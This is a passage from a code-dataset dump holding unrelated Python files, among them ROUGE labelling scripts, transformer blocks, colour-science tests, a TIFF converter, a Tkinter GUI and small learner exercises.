random.choice(self.dataset_original)\n self.dataset.append(inst)\n self.dataset_original.remove(inst)\n \n self.coluna_alvo = len(self.dataset[0])-1\n\n return self.get_att_classe()\n\n ## obtem os k conjuntos\n def get_dataset (self):\n elementos = []\n\n ## Separacao de atributos e coluna alvo\n for line in self.dataset:\n values = []\n for i in range(len(line)):\n try: values.append(float(line[i]))\n except ValueError:\n if line[i] == '?': values.append(None)\n else: values.append(line[i])\n elementos.append(values)\n \n return elementos\n \n def get_att_classe(self):\n atributos = []\n classes = []\n\n ## Separacao de atributos e coluna alvo\n for line in self.dataset:\n values = []\n for i in range(len(line)):\n if i != self.coluna_alvo:\n try: values.append(float(line[i]))\n except ValueError:\n if line[i] == '?': values.append(None)\n else: values.append(line[i])\n atributos.append(values)\n classes.append(line[self.coluna_alvo])\n\n return np.array(atributos), np.array(classes)\n","sub_path":"lista 2 - knn_lvq/arquivo.py","file_name":"arquivo.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"42658409","text":"\n\nfrom xai.brain.wordbase.verbs._assassinate import _ASSASSINATE\n\n#calss header\nclass _ASSASSINATES(_ASSASSINATE, ):\n\tdef __init__(self,): \n\t\t_ASSASSINATE.__init__(self)\n\t\tself.name = \"ASSASSINATES\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"assassinate\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_assassinates.py","file_name":"_assassinates.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"615189751","text":"from rouge_vn import pyrouge_vn\nimport text_utils_vietnamese\nimport os\nimport shutil\nimport re\nimport time\n\nDIR_PATH = '/home/hieupd/PycharmProjects/convert_to_extract/baomoi/documents'\n\n\nclass ConvertExtract(object):\n def __init__(self, alpha=0.5):\n self.alpha = alpha\n\n def convert_extract(self, list_documents, list_human, path_save):\n sentences_system, sentences_reference = \\\n text_utils_vietnamese.get_all_sentences(list_documents, list_human)\n old_rouge = 0\n rouge = 0 # initial rouge score\n old_index = -1\n\n sentences = [] # arr sentence is choosed\n sentences_label = []\n arr_indexes = []\n all_sentences = []\n\n for filename, list_sents in sentences_system:\n all_sentences += list_sents\n # with each round with add new sentence\n while (0 == 0):\n i = 0\n\n for sent in all_sentences:\n tmp = \"\"\n tmp += ' '.join(sentences)\n tmp += ' ' + sent\n\n # Use rouge 1\n tmp_rouge_f1 = pyrouge_vn.rouge_1(tmp, sentences_reference, self.alpha)\n\n if tmp_rouge_f1 > rouge: # if has change score\n rouge = tmp_rouge_f1\n old_index = i\n\n i += 1\n\n if rouge == old_rouge:\n break\n else:\n arr_indexes.append(old_index)\n old_rouge = rouge\n sentences.append(all_sentences[old_index])\n old_index = -1\n\n # for item in sentences_origin:\n # with open(path_save, 'a') as file:\n # file.write(item)\n\n for i in range(len(all_sentences)):\n if i in arr_indexes:\n sentences_label.append( '1' + ' ' + all_sentences[i])\n else:\n sentences_label.append('0' + ' ' + all_sentences[i])\n length = 0\n sentences_label_clus = []\n for clus, list_sentences in sentences_system:\n l = len(list_sentences)\n number_sents = len(list_sentences)\n sentences_label_clus.append((clus, sentences_label[length:number_sents + length]))\n length += l\n\n for path_file, data in sentences_label_clus:\n with open(path_save, 'w') as file:\n file.write('\\n'.join(data))\n file.close()\n\n return rouge\n\nif __name__ == \"__main__\":\n convert_extract = ConvertExtract()\n root = os.getcwd()\n ABSTRACT = root + '/baomoi/summaries/'\n OUTPUT_LABELS = root + '/baomoi/data_labels/'\n\n list_doc_filtered = open('baomoi/list_doc_fitlers').read().strip().split('\\n')\n\n #list_doc_filtered = list_doc_filtered[:100]\n\n rouges = []\n\n c = 0\n for file in list_doc_filtered:\n c += 1\n if c in [100, 500, 1000, 1200, 2000]:\n print(c)\n\n path_raw = file.split('/')[-2:]\n path = '/'.join(path_raw)\n path_human = ABSTRACT + path\n #print(path)\n\n rouges.append(convert_extract.convert_extract([file], [path_human],\n OUTPUT_LABELS + path_raw[1]))\n\n\n count = []\n for i in rouges:\n if i > 0.45:\n count.append(i)\n\n # print(sum(rouges)/ len((rouges)))\n\n print(len(count))\n print(sum(count) / len((count)))","sub_path":"convert_baomoi.py","file_name":"convert_baomoi.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"120153435","text":"import math\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom .attention import MultiHeadAttention\r\nfrom .weight_norm import weight_norm as wn\r\nfrom .linear import Linear\r\n\r\n\r\ndef positional_embedding(x, min_timescale=1.0, max_timescale=1.0e4, offset=0):\r\n batch, length, channels = list(x.size())\r\n assert (channels % 2 == 0)\r\n num_timescales = channels // 2\r\n log_timescale_increment = (\r\n math.log(float(max_timescale) / float(min_timescale)) /\r\n (float(num_timescales) - 1.))\r\n position = torch.arange(offset, offset + length,\r\n device=x.device, dtype=torch.float)\r\n inv_timescales = torch.arange(0, num_timescales,\r\n device=x.device, dtype=torch.float)\r\n\r\n inv_timescales.mul_(-log_timescale_increment).exp_().mul_(min_timescale)\r\n scaled_time = position.unsqueeze(1) * inv_timescales.unsqueeze(0)\r\n # scaled time is now length x num_timescales\r\n # length x channels\r\n signal = torch.cat([scaled_time.sin(), scaled_time.cos()], 1)\r\n return signal.unsqueeze(0).expand(batch, length, channels)\r\n\r\n\r\nclass EncoderBlock(nn.Module):\r\n\r\n def __init__(self, hidden_size=512, num_heads=8, inner_linear=2048, inner_groups=1,\r\n layer_norm=True, weight_norm=False, dropout=0):\r\n\r\n super(EncoderBlock, self).__init__()\r\n wn_func = wn if weight_norm else lambda x: x\r\n if layer_norm:\r\n self.lnorm1 = nn.LayerNorm(hidden_size)\r\n self.lnorm2 = nn.LayerNorm(hidden_size)\r\n self.dropout = nn.Dropout(dropout)\r\n self.attention = MultiHeadAttention(\r\n hidden_size, hidden_size, num_heads, dropout=dropout, causal=False, weight_norm=weight_norm)\r\n self.fc = nn.Sequential(wn_func(Linear(hidden_size, inner_linear, groups=inner_groups)),\r\n nn.ReLU(inplace=True),\r\n nn.Dropout(dropout),\r\n wn_func(Linear(inner_linear, hidden_size, groups=inner_groups)))\r\n\r\n def set_mask(self, mask):\r\n self.attention.set_mask_q(mask)\r\n self.attention.set_mask_k(mask)\r\n\r\n def forward(self, inputs):\r\n x = inputs\r\n res = x\r\n x, _ = self.attention(x, x, x)\r\n x = self.dropout(x).add_(res)\r\n x = self.lnorm1(x) if hasattr(self, 'lnorm1') else x\r\n res = x\r\n x = self.fc(x)\r\n x = self.dropout(x).add_(res)\r\n x = self.lnorm2(x) if hasattr(self, 'lnorm2') else x\r\n return x\r\n\r\n\r\nclass DecoderBlock(nn.Module):\r\n\r\n def __init__(self, hidden_size=512, num_heads=8, inner_linear=2048, inner_groups=1,\r\n layer_norm=True, weight_norm=False, dropout=0, stateful=False):\r\n\r\n super(DecoderBlock, self).__init__()\r\n wn_func = wn if weight_norm else lambda x: x\r\n if layer_norm:\r\n self.lnorm1 = nn.LayerNorm(hidden_size)\r\n self.lnorm2 = nn.LayerNorm(hidden_size)\r\n self.lnorm3 = nn.LayerNorm(hidden_size)\r\n self.dropout = nn.Dropout(dropout)\r\n self.weight_norm = weight_norm\r\n self.stateful = stateful\r\n self.attention = MultiHeadAttention(\r\n hidden_size, hidden_size, num_heads, dropout=dropout, causal=False, weight_norm=weight_norm)\r\n if stateful:\r\n self.state_block = nn.RNN(\r\n hidden_size, hidden_size, nonlinearity='tanh', dropout=dropout, batch_first=True)\r\n else:\r\n self.masked_attention = MultiHeadAttention(\r\n hidden_size, hidden_size, num_heads, dropout=dropout, causal=True, weight_norm=weight_norm)\r\n self.fc = nn.Sequential(wn_func(Linear(hidden_size, inner_linear, groups=inner_groups)),\r\n nn.ReLU(inplace=True),\r\n nn.Dropout(dropout),\r\n wn_func(Linear(inner_linear, hidden_size, groups=inner_groups)))\r\n\r\n def set_mask(self, mask, context_mask=None):\r\n if context_mask is not None:\r\n self.attention.set_mask_k(context_mask)\r\n if hasattr(self, 'masked_attention'):\r\n self.masked_attention.set_mask_q(mask)\r\n self.masked_attention.set_mask_k(mask)\r\n\r\n def forward(self, inputs, context, state=None):\r\n x = inputs\r\n res = x\r\n if self.stateful:\r\n x, state = self.state_block(x, state)\r\n else: # block_state are past inputs\r\n if state is None:\r\n x_past = x\r\n else:\r\n x_past = torch.cat((state, x), 1)\r\n x, _ = self.masked_attention(x, x_past, x_past)\r\n state = x_past\r\n x = self.dropout(x).add_(res)\r\n x = self.lnorm1(x) if hasattr(self, 'lnorm1') else x\r\n res = x\r\n x, attn_enc = self.attention(x, context, context)\r\n x = self.dropout(x).add_(res)\r\n x = self.lnorm2(x) if hasattr(self, 'lnorm2') else x\r\n res = x\r\n x = self.fc(x)\r\n x = self.dropout(x).add_(res)\r\n x = self.lnorm3(x) if hasattr(self, 'lnorm3') else x\r\n\r\n return x, attn_enc, state\r\n","sub_path":"seq2seq/models/modules/transformer_blocks.py","file_name":"transformer_blocks.py","file_ext":"py","file_size_in_byte":5145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"533107870","text":"import os, copy\nimport time\narr_1 = [0 for i in range(15)]\narr_2 = [0 for i in range(15)]\narr_3 = [0 for i in range(15)]\narr_4 = [0 for i in range(15)]\ncmd = './datafilter 15'\n\nfor i in arr_1:\n cmd = cmd +' '+str(i)\nfor i in arr_2:\n cmd = cmd +' '+str(i)\nfor i in arr_3:\n cmd = cmd +' '+str(i)\nfd = open('result.txt', 'a')\n\nfor i in open('test.txt', 'r'):\n tmp_cmd = copy.copy(cmd)\n if i != '\\n':\n tmp = int(i.strip('\\n'))\n for j in range(14, 0, -1):\n arr_4[j] = arr_4[j-1]\n arr_4[0] = tmp\n for k in arr_4:\n tmp_cmd = tmp_cmd +' '+str(k)\n tmp_cmd = tmp_cmd +' '+'0'\n buf = os.popen(tmp_cmd)\n re = eval(buf.read())\n fd.write(str(re['predict_workload'])+'\\n')\n\nfd.close()\n","sub_path":"datacollector/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"528423748","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\n\"\"\"Convert tiff file to bin file.\n\nUsage:\n tif2bin.py single \n tif2bin.py dirs [-p ]\n\nOptions:\n -h --help Show this screen.\n --version Show version.\n -p Number of cpus to use [default: -1](all available).\n\"\"\"\n\nfrom joblib import Parallel, delayed\nimport numpy as np\nimport tifffile\nimport os,os.path,fnmatch,docopt\n\n\ndef tiff2bin_dir(src_dir, dst_dir, _dtype=np.uint16, num_cpus=-1):\n # recursively search for *.tif under {src_dir}\n # then convert and save under {dst_dir}/{the same folder name}/*.bin\n args = []\n for root, dirnames, filenames in os.walk(src_dir):\n for fname in fnmatch.filter(filenames, \"*.tif\"):\n src_path = os.path.join(root, fname)\n dst_subdir = root.replace(src_dir, dst_dir)\n if not os.path.exists(dst_subdir):\n os.makedirs(dst_subdir)\n dst_path = os.path.join(dst_subdir, fname.replace(\".tif\", \".bin\"))\n args.append((src_path, dst_path))\n\n Parallel(n_jobs=num_cpus)( [delayed(tiff2bin)(src, dst, _dtype) for src,dst in args] )\n return\n\n\n\ndef tiff2bin(src_path, dst_path, _dtype=np.uint16):\n print(\"converting {} to {}\".format(src_path, dst_path))\n img = tifffile.imread(src_path)\n np.rot90(img).flatten().tofile(dst_path)\n return\n\nif __name__ == \"__main__\":\n args = docopt.docopt(__doc__, version=\"0.1.0\")\n\n if args[\"single\"]:\n tiff2bin(args[\"\"], args[\"\"])\n elif args[\"dirs\"]:\n tiff2bin_dir(args[\"\"], args[\"\"], int(args[\"-p\"]))\n","sub_path":"script/tif2bin.py","file_name":"tif2bin.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"11257534","text":"# -----------------------------------------------------------------------------\n# ------------------------------ CISCO CONFIDENTIAL ---------------------------\n# ---------------- Copyright (c) 2016, Cisco Systems, Inc.---------------------\n# -----------------------------------------------------------------------------\n# -----------------------------------------------------------------------------\n\n\nfrom behave import *\nfrom ptf.lib.utilities import log_utilities\n\n# Set up logging\nlog = log_utilities.create_logger()\n\nuse_step_matcher(\"re\")\n\n\n@when(\"we provision a household (?P.+) with device (?P.+) for EST3 purchase with marketing target (?P.+)\")\ndef step_impl(context, household_id, device_id, marketing_target):\n assert provision_est3_household(context, household_id, device_id, marketing_target)\n\n\n@then(\"household (?P.+) with device (?P.+) and marketing target (?P.+) will be provisioned\")\ndef step_impl(context, household_id, device_id, marketing_target):\n assert verify_est3_household(context, household_id, device_id, marketing_target)\n\n\ndef provision_est3_household(context, household_id, device_id, marketing_target):\n provisioning_actions = [context.upm_session.create_household,\n context.upm_session.add_device_to_household,\n context.upm_session.add_marketing_target_to_household,\n context.upm_session.enable_services_for_household,\n context.upm_session.update_credit_for_household]\n provision_action_parameters = [(household_id,), (household_id, device_id, \"Linux-STB_VGS\"),\n (household_id, marketing_target), (household_id, [\"EST\"]), (household_id, 0, 10000)]\n for provision_action, provision_parameters in zip(provisioning_actions, provision_action_parameters):\n response, http_code = provision_action(*provision_parameters)\n if http_code not in {200, 201}:\n return False\n return True\n\n\ndef verify_est3_household(context, household_id, device_id, marketing_target):\n response, http_code = context.upm_session.get_household_information(household_id)\n devices = set()\n if http_code == 200:\n try:\n for device in response[\"devices\"]:\n devices.add(device[\"deviceId\"])\n if device[\"deviceId\"] == device_id:\n assert response[\"devices\"][0][\"deviceFullType\"] == \"Linux-STB_VGS\"\n assert device_id in devices\n assert response[\"locale\"][\"marketingTarget\"] == marketing_target\n assert \"EST\" in response[\"enabledServices\"]\n assert response[\"credit\"]\n return True\n except KeyError:\n return False\n else:\n return False\n","sub_path":"Learning/IandTStage5Automation/projects/selftest/steps/UPM.py","file_name":"UPM.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"99137164","text":"#!/usr/bin/env python3\n\n\ndef part_one():\n result = str(1113122113)\n\n for i in range(40):\n result = say(result)\n\n return len(result)\n\n\ndef part_two():\n result = str(1113122113)\n\n for i in range(50):\n result = say(result)\n\n return len(result)\n\n \ndef say(input):\n \"\"\"\n >>> say(1)\n 11\n >>> say(11)\n 21\n >>> say(21)\n 1211\n >>> say(1211)\n 111221\n >>> say(111221)\n 312211\n \"\"\"\n\n result = \"\"\n\n current_number = input[0]\n count = 1\n for d in input[1:]:\n if current_number == d:\n count += 1\n else:\n result += str(count)\n result += current_number\n current_number = d\n count = 1\n \n result += str(count)\n result += current_number\n\n return result\n\n\nif __name__ == \"__main__\":\n # import doctest\n # doctest.testmod()\n print(part_one())\n print(part_two())","sub_path":"2015/2015_10.py","file_name":"2015_10.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"414594632","text":"letters = ('A', 'A', 'A', 'A', 'B', 'B', 'B', 'C', 'C', 'C', 'C', 'C')\na= letters.count('A')\nb= letters.count('B')\nc= letters.count('C')\nLetters = [a, b, c]\nprint(Letters)\n\ncijferICOR = 7\ncijferPROG = 7\ncijferCSN = 7\ngemiddelde = (cijferICOR + cijferPROG + cijferCSN)/3\nbeloning = (30*cijferICOR) + (30*cijferPROG) + (30*cijferCSN)\noverzicht = 'Mijn cijfers (gemiddeld een ' + str(gemiddelde) + ') leveren een beloning van €' + str(beloning) + ' op!'\nprint(gemiddelde)\nprint(beloning)\nprint(overzicht)\n\nprint(0 == (1 == 2))\nprint(2 + (3 == 4) + 5 == 7)\nprint((1<-1)==(3>4))\n\n\nuurloon = eval(input('Wat verdien je per uur?'))\naantal_uur = eval(input('Hoeveel uur heb je gewerkt?'))\nsalaris = uurloon * aantal_uur\nprint(str(aantal_uur) + ' uur werken levert ' + str(salaris) + ' Euro op')","sub_path":"PycharmProjects/PROG/Les 2/Les_2.py","file_name":"Les_2.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"249748196","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nDefines unit tests for :mod:`colour.appearance.atd95` module.\n\"\"\"\n\nimport numpy as np\nfrom itertools import permutations\n\nfrom colour.appearance import XYZ_to_ATD95\nfrom colour.appearance.tests.common import ColourAppearanceModelTest\nfrom colour.utilities import domain_range_scale, ignore_numpy_errors, tstack\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013-2021 - Colour Developers'\n__license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-developers@colour-science.org'\n__status__ = 'Production'\n\n__all__ = ['TestATD95ColourAppearanceModel']\n\n\nclass TestATD95ColourAppearanceModel(ColourAppearanceModelTest):\n \"\"\"\n Defines :mod:`colour.appearance.atd95` module unit tests methods for\n *ATD (1995)* colour vision model.\n \"\"\"\n\n FIXTURE_BASENAME = 'atd95.csv'\n\n OUTPUT_ATTRIBUTES = {\n 'H': 'h',\n 'C': 'C',\n 'Br': 'Q',\n 'A_1': 'A_1',\n 'T_1': 'T_1',\n 'D_1': 'D_1',\n 'A_2': 'A_2',\n 'T_2': 'T_2',\n 'D_2': 'D_2'\n }\n\n def output_specification_from_data(self, data):\n \"\"\"\n Returns the *ATD (1995)* colour vision model output specification from\n given data.\n\n Parameters\n ----------\n data : list\n Fixture data.\n\n Returns\n -------\n CAM_Specification_ATD95\n *ATD (1995)* colour vision model specification.\n \"\"\"\n\n XYZ = tstack([data['X'], data['Y'], data['Z']])\n XYZ_0 = tstack([data['X_0'], data['Y_0'], data['Z_0']])\n\n specification = XYZ_to_ATD95(XYZ, XYZ_0, data['Y_02'], data['K_1'],\n data['K_2'], data['sigma'])\n\n return specification\n\n @ignore_numpy_errors\n def test_domain_range_scale_XYZ_to_ATD95(self):\n \"\"\"\n Tests :func:`colour.appearance.atd95.XYZ_to_ATD95` definition domain\n and range scale support.\n \"\"\"\n\n XYZ = np.array([19.01, 20.00, 21.78])\n XYZ_0 = np.array([95.05, 100.00, 108.88])\n Y_0 = 318.31\n k_1 = 0.0\n k_2 = 50.0\n specification = XYZ_to_ATD95(XYZ, XYZ_0, Y_0, k_1, k_2)\n\n d_r = (\n ('reference', 1, 1),\n (1, 0.01, np.array([1 / 360, 1, 1, 1, 1, 1, 1, 1, 1])),\n (100, 1, np.array([100 / 360, 1, 1, 1, 1, 1, 1, 1, 1])),\n )\n for scale, factor_a, factor_b in d_r:\n with domain_range_scale(scale):\n np.testing.assert_almost_equal(\n XYZ_to_ATD95(XYZ * factor_a, XYZ_0 * factor_a, Y_0, k_1,\n k_2),\n specification * factor_b,\n decimal=7)\n\n @ignore_numpy_errors\n def test_nan_XYZ_to_ATD95(self):\n \"\"\"\n Tests :func:`colour.appearance.atd95.XYZ_to_ATD95` definition nan\n support.\n \"\"\"\n\n cases = [-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]\n cases = set(permutations(cases * 3, r=3))\n for case in cases:\n XYZ = np.array(case)\n XYZ_0 = np.array(case)\n Y_0 = np.array(case[0])\n k_1 = np.array(case[0])\n k_2 = np.array(case[0])\n XYZ_to_ATD95(XYZ, XYZ_0, Y_0, k_1, k_2)\n","sub_path":"colour/appearance/tests/test_atd95.py","file_name":"test_atd95.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"511215453","text":" #coding:utf-8\n#!/usr/bin/env python\nimport os\nimport time\nimport tkinter as tk\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\nimport tkinter.font as tkFont\nfrom tkinter import ttk\nfrom tkinter import filedialog\nfrom PIL import ImageTk, Image\nfrom matplotlib import pyplot as plt\nfrom tensorflow.keras.callbacks import TensorBoard\nfrom functions import DataPreparation,PlotImages,CreateModel\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\npath = '/home/machinelearning/Documents/FirstDeepLearningProject/'\n###Style and Font###\nfont_title = ('courier',85)\ndef set_style():\n style = ttk.Style()\n style.theme_create( \"st_app\", parent=\"clam\", settings={\n \"TButton\": {\"configure\": {\"font\" :(\"courier\", 22, 'bold'),\n \"background\" : \"#86C6CF\",\n \"foreground\" : \"#192650\",\n \"relief\" : \"raised\",\n \"anchor\" : \"center\",\n \"justify\" : \"center\"},\n \"map\" : {\"background\" : [(\"active\", '#86C6CF')],\n \"foreground\" : [(\"active\", '#D3F698')]}},\n# \"TEntry\": {\"configure\": {\"foreground\" : \"black\"}},\n \"Horizontal.TProgressbar\":{\"configure\": {\"background\":'#86C6CF' }}\n })\n style.theme_use(\"st_app\")\n\n###SetUp Window###\nclass Application(tk.Tk):\n\n def __init__(self,*args,**kwargs):\n tk.Tk.__init__(self,*args,**kwargs)\n self.title(\"Rick or Morty ?\")\n img = tk.PhotoImage(file=path+'Images/rick.png')\n self.tk.call('wm', 'iconphoto', self._w, img)\n self.minsize(800,600)\n self.maxsize(1920,1080)\n self.geometry(\"1000x600\")\n set_style()\n\n container = tk.Frame(self)\n container.pack(side='top',fill='both',expand=True)\n container.pack_propagate(False)\n\n container.grid_rowconfigure(0, weight=1)\n container.grid_columnconfigure(0, weight=1)\n\n self.frames = {}\n for F in (StartPage,TestPage,TrainPage):\n frame = F(container,self)\n self.frames[F] = frame\n frame.grid(row=0,column=0,sticky='nsew')\n self.show_frame(StartPage)\n\n def show_frame(self,cont):\n frame = self.frames[cont]\n frame.tkraise()\n\n###Setup Pages###\nclass ResizingLabel(tk.Label):\n def __init__(self, parent, imagepath,my_text, *args, **kwargs):\n tk.Label.__init__(self, parent, *args, **kwargs)\n self.configure(bd=0)\n self.parent = parent\n self.parent.bind('', self._resize_image)\n self.my_text = my_text\n self.imagepath = imagepath\n self.image = Image.open(self.imagepath)\n self.img_copy= self.image.copy()\n self.background_image = ImageTk.PhotoImage(self.image)\n self.background = tk.Label(self, image=self.background_image,\n textvariable=self.my_text,\n font=font_title,\n foreground='#192650',\n anchor='n',\n compound='bottom',\n justify='right')\n self.background.place(x=0,y=0, relwidth=1, relheight=1)\n self.background.bind('', self._resize_image)\n\n def _resize_image(self,event):\n\n new_width = self.parent.winfo_width()\n new_height = self.parent.winfo_height()\n\n self.image = self.img_copy.resize((new_width, new_height))\n self.background_image = ImageTk.PhotoImage(self.image)\n self.background.configure(image = self.background_image)\n\nclass StartPage(tk.Frame):\n\n def __init__(self,parent,controller):\n tk.Frame.__init__(self,parent)\n bg_path = path+'/Images/bg1.png'\n my_text = tk.StringVar()\n my_text.set('Rick or Morty ?')\n bg_label = ResizingLabel(self, bg_path,my_text)\n btn_h = 35\n btn_w = 150\n button_train = ttk.Button(self, text='Train',\n command=lambda:controller.show_frame(TrainPage))\n button_test = ttk.Button(self, text='Test',\n command=lambda:controller.show_frame(TestPage))\n button_quit = ttk.Button(self, text='Quit',\n command=lambda:app.destroy())\n\n bg_label.place(x=1, y=1, relwidth=1, relheight=1)\n button_train.place(relx=0.5, rely=0.23, anchor='center',\n height=btn_h,\n width=btn_w)\n button_test.place(relx=0.5, rely=0.35, anchor='center',\n height=btn_h,\n width=btn_w)\n button_quit.place(relx=0.5, rely=0.47, anchor='center',\n height=btn_h,\n width=btn_w)\n\ndef retrieve_input(entry_name):\n model_name = entry_name.get()\n print('Name of the model => %s' %model_name)\n\ndef upload_train():\n wind = tk.Toplevel()\n wind.geometry(\"300x300\")\n wind.title(\"Upload\")\n wind.configure(background='#D5F89E')\n style = ttk.Style()\n style.configure('W.TButton', font=('courier', 15, 'bold'),\n foreground='#192650',\n background=\"#86C6CF\")\n upload_text_label = ttk.Label(wind,text='Upload image datasets:',background='#D3F698',\n font=('courier',19,\"bold\"))\n button_upload_train = ttk.Button(wind,text='Trainning dataset',style='W.TButton')\n button_upload_test = ttk.Button(wind,text='Validation dataset',style='W.TButton')\n button_upload_ok = ttk.Button(wind,text='Ok',style='W.TButton',command=wind.destroy)\n upload_text_label.pack(pady=5,anchor='center')\n button_upload_train.pack(padx=10,pady=25,anchor='center')\n button_upload_test.pack(padx=10,pady=30,anchor='center')\n button_upload_ok.pack(padx=10,pady=35,anchor='center')\n wind.mainloop()\n\n\nclass TrainPage(tk.Frame):\n\n def __init__(self,parent,controller):\n tk.Frame.__init__(self,parent)\n bg2_path = path+'/Images/bg2.png'\n my_text2 = tk.StringVar()\n name = tk.StringVar()\n my_text2.set('Training')\n btn_h = 35\n btn_w = 150\n bg2_label = ResizingLabel(self,bg2_path,my_text2)\n\n text_label = ttk.Label(self,text='Model name:',\n background='#D3F698',\n font=('courier',24,\"bold\"))\n entry_name = tk.Entry(self,textvariable=name,width=15)\n entry_name.bind('', (lambda event:retrieve_input(entry_name)))\n model_name = entry_name.get()\n\n button_upload = ttk.Button(self, text='Upload',\n command=lambda:upload_train())\n button_start_train = ttk.Button(self, text='Start')\n #command=lambda:)\n button_test1 = ttk.Button(self, text='Test',\n command=lambda:controller.show_frame(TestPage))\n button_main1 = ttk.Button(self, text='Back',\n command=lambda:controller.show_frame(StartPage))\n\n progress_label = ttk.Label(self, text= \"Training Progress\",\n background='#86C6CF',\n font=('courier',14,\"bold\"))\n progress_label.place(relx=0.2,rely=0.91, anchor = 'center')\n\n progress = tk.IntVar(self)\n progress_bar = ttk.Progressbar(self, orient=\"horizontal\",\n variable=progress,\n length=200,\n maximum=100,\n mode=\"determinate\")\n progress_bar.place(relx=0.2,rely=0.85 , anchor='center')\n #termf = tk.Frame(self, height=200, width=382)\n #wid = termf.winfo_id()\n #os.system('xterm -fg white -bg black -into %d -hold -geometry 250x300 -sb &' % wid)\n\n\n bg2_label.place(x=1, y=1, relwidth=1, relheight=1)\n text_label.place(relx=0.28,rely=0.23,anchor='center')\n entry_name.place(relx=0.45,rely=0.24,anchor='center')\n button_upload.place(relx=0.2, rely=0.4, anchor='center',\n height=btn_h,\n width=btn_w)\n button_start_train.place(relx=0.2, rely=0.60, anchor='center',\n height=btn_h,\n width=btn_w)\n button_test1.place(relx=0.85, rely=0.115, anchor='center',\n height=btn_h,\n width=btn_w)\n button_main1.place(relx=0.15, rely=0.12, anchor='center',\n height=btn_h,\n width=btn_w)\n #termf.place(relx=0.05,rely=0.45)\n\n\nclass TestPage(tk.Frame):\n\n def __init__(self,parent,controller):\n tk.Frame.__init__(self,parent)\n label = tk.Label(self,text=\"Test page\", font=('courier',12))\n label.pack(pady=10,padx=10)\n button_main2 = ttk.Button(self, text='Main',\n command=lambda:controller.show_frame(StartPage))\n button_train2 = ttk.Button(self, text='Back to training',\n command=lambda:controller.show_frame(TrainPage))\n button_main2.pack()\n button_train2.pack()\n###Run app###\napp = Application()\napp.mainloop()\n\n\n#Check\n#check_widget = tkinter.Checkbutton(root,text='')\n#check_widget.pack()\n\n#cursor/spinbox/listbox\n#lb = tk.Listbox(root)\n#lb.insert(1,\"\")\n#scale_w = tk.Scale(root,from_=10,to=100,tickinterval=25)\n#spin_w = tk.spinbox(root, from_=1,to=10)\n#lb.pack()\n#spin_w.pack()\n#scale_w.pack()\n\n#error\n#from tkinter import messagebox\n#messagebox.showerror(...)\n#put on a button\n\n#variable\n#tkinter.StringVar()\n#IntVar,DoubleVar,BoolVar\n#create a label..:BE\n# textvariable or variable\n#var_label.set()\n\n#Observeur\n#def update_label(*args):\n# var_label.set(var_entry.get())\n#var_entry.trace(\"w\",update_label)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"229073994","text":"#!/usr/bin/env python\n# \n# File Name : rouge.py\n#\n# Description : Computes ROUGE-L metric as described by Lin and Hovey (2004)\n#\n# Creation Date : 2015-01-07 06:03\n# Author : Ramakrishna Vedantam \n\nimport numpy as np\nimport itertools\nimport pdb\n\ndef my_lcs(string, sub):\n \"\"\"\n Calculates longest common subsequence for a pair of tokenized strings\n :param string : list of str : tokens from a string split using whitespace\n :param sub : list of str : shorter string, also split using whitespace\n :returns: length (list of int): length of the longest common subsequence between the two strings\n\n Note: my_lcs only gives length of the longest common subsequence, not the actual LCS\n \"\"\"\n if(len(string)< len(sub)):\n sub, string = string, sub\n\n lengths = [[0 for i in range(0,len(sub)+1)] for j in range(0,len(string)+1)]\n\n for j in range(1,len(sub)+1):\n for i in range(1,len(string)+1):\n if(string[i-1] == sub[j-1]):\n lengths[i][j] = lengths[i-1][j-1] + 1\n else:\n lengths[i][j] = max(lengths[i-1][j] , lengths[i][j-1])\n\n return lengths[len(string)][len(sub)]\n\ndef _get_ngrams(n, text):\n \"\"\"TAKEN FROM https://github.com/pltrdy/seq2seq/blob/master/seq2seq/metrics/rouge.py\n \n Calcualtes n-grams.\n Args:\n n: which n-grams to calculate\n text: An array of tokens\n Returns:\n A set of n-grams\n \"\"\"\n ngram_set = set()\n text_length = len(text)\n max_index_ngram_start = text_length - n\n for i in range(max_index_ngram_start + 1):\n ngram_set.add(tuple(text[i:i + n]))\n return ngram_set\n\ndef _split_into_words(sentences):\n \"\"\"TAKEN FROM https://github.com/pltrdy/seq2seq/blob/master/seq2seq/metrics/rouge.py\n \n Splits multiple sentences into words and flattens the result\"\"\"\n return list(itertools.chain(*[_.split(\" 